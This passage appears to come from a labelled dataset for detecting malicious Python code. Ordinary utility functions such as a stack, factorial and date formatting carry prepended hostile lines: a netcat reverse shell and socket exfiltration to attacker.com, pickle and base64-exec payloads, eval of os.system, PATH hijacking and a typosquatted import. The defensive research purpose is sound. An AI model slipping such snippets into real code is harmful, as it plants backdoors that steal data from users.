\"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_7e921550", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_65d15cdf", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_7ee8bc86", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_a9523ea2", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3ed39fc8", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_4fca29c0", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_6e138f8e", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_cbf91f1c", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_8ade2d54", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_dfa1f0f6", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_795ac5c9", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3c2576bd", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_9d443bd5", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_a9d78494", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_a161383b", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_dfe6f099", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_005682e2", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_e5160c59", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_48381560", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_40eb4eee", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_f27eb848", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_839963ed", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_cddfff58", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_380d7fa8", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_dfec6ad9", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_d2534c17", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_b0f033f7", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_77aaf65f", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_dce278b5", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_742632b3", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_c622fe2f", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_618f22de", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_bad86604", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_ac0ddd2e", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_d7eeecc6", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_79d6ff95", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_29b45917", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c1ce08f1", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_825138f4", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_a273f4fd", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_b887f4d7", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_241f9b04", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_1164cd7b", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_f3d29d87", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_8f985342", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_9b3d51d3", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_4ea18334", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_ad497157", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_bfe6b62e", + "type": "true_positive", + "code_snippet": "import 